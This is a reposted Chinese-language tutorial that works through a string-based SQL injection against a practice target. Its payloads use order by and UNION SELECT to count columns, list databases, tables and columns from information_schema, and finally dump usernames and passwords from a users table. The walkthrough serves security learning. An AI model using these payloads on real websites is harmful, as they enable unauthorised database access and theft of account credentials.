失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 黑客学习-SQL注入(字符型):Hackbar获取网站账号和密码

黑客学习-SQL注入(字符型):Hackbar获取网站账号和密码

时间:2018-12-01 14:16:33

相关推荐

黑客学习-SQL注入(字符型):Hackbar获取网站账号和密码

SQL注入用户通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,网站应用程序未经过过滤,将恶意SQL语句带入数据库进行执行,通过数据库获取了敏感的信息或者执行了其他恶意操作。

由于SQL语句本身多样性,以及可用于构造的SQL语句编码方法很多,因此凡是构造SQL语句没有过滤均灿在被潜在攻击的风险。

一、检测网站是否存在SQL注入漏洞

SQL注入漏洞产生需要满足两个条件:

1. 参数用户可控:前端传给后端的参数是用户可以控制的,

2. 参数带入数据库查询:带入的参数拼接到SQL语句,并且带入数据查询

(1)进入靶机网址

查看URL,在URL上,没有“?”

(2)在URL之后加上“?id=1”,查看是否有变化,结果如图,页面发生了变化,说明网页能够识别参数id,而且参数id是数据库总的参数。加入参数id之后,更够上传到网页,满足SQL漏洞的第一点,网页因为我们输入id参数之后,而发生变化,所以而满足第二点。

(3)我们在URL之后加入“?id=1 and 1=2”,结果如图所示,在我们所插入的语句中,id=1,是为真,“1=2”是假,所有整个语句为假,而网页无变化,说明网页识别我们所给的参数之后而不反应,说明类型不是数字型

(3)我们在URL后面加入“?id=1’”,在1的后面加入单引号‘’‘,结果如下,网页发生了变化,说明。

(4)在URL之后加入“?id=1’ --+”,--+的作用是将后面的语句进行注释,结果如下,页面显示正常

结合(3)、(4)两个步骤,说明网页存在单引号字符型SQL注入的漏洞,

接下来,我们利用Firefox浏览器的Hackbar插件利用整个漏洞,来获取数据名的用户名和密码

二、Hackbar获取账户和密码

Hackbar是Firefox提供的插件,可用来测试SQL注入,XSS漏洞等

(1)使用order by 语句判断表中的数据列数,也就是有几个字段,

语句 :http://网址?id=1’ order by N --+

不断改变N,直到寻找导致页面出错的最小值,比如,这个环节而言,如图,到当N=3时,页面无变化,当N=4时,页面有错误信息,说明整个页面传入数据库的表中,有三个字段

(2)使用union语句,联合查询,消去重复行

命令:http://网址?id=1’ and 1=2 union select 1,2,3 --+

select之后之所以是“1,2,3”,是因为根据步骤(1),我们得知这个登录框传入的表中,有三个字段,所以,针对第1,2,3,字段进行联合查询

结果发现页面发生变化,Your Login name的值变成了2,Your Password的值变成了3,这说明用户名存放在表中的第二个字段,密码存放在表中的第三个字段。

(3)获取数据库名

命令:http://网址?id=1’ and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+

union select之后分为三个部分,分别用逗号隔开,

第一部分:1 //这里是第一个字段,

第二部分:group_concat(schema_name) //这是获取第二个字段的值,获取所有的数据名

第三部分:

3 from information_schema.schemata //这是第三字段的值,information_schema是MySql的一个数据库,从MySQL5开始,自带这个库,里面存放着数据库名、表名、列等信息,如图

结果如下,在your Login name中,获取到了所有的数据名,

(4)获取数据库中的所有表

以 “security”数据库为例

命令:

http://网址?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ --+

union select语句也是分为三个部分,分别用逗号隔开

第一部分:1

第二部分:group_concat(table_name),//这是获取第二个字段的值,获取所有的表名

第三部分:

from information_schema.tables where table_schema=’security’ // 从information_schema.tables里面寻找表名为“security”的表,information_schema.tables 里面存放所有的数据表,

结果如下:可以看到数据

(5)获取表中的信息

以users表为例

命令:

http://网址?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’ --+

union select 分为三个部分,分别用逗号隔开

第一部分:1

第二部分:group_concat(column_name) //获取所有的字段名

第三部分:3 from information_schema.columns where table_schema=’security’ and table_name=’users’ // 从information_schema.columns中寻找数据库名为“security”,表名为“users”中的所有字段 , information_schema.columns存放所有字段的名字

(6)获取字段的值

命令:

http://网址?id=1’ and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

union select 分为三个部分,分别用逗号隔开

第一部分:1

第二部分:group_concat(username) //获取username字段的值

第三部分:group_concat(password) from security.users //从sercurity数据库的users表中获取password字段的内容

结果所示,已经获得了的账号和密码

如果觉得《黑客学习-SQL注入(字符型):Hackbar获取网站账号和密码》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。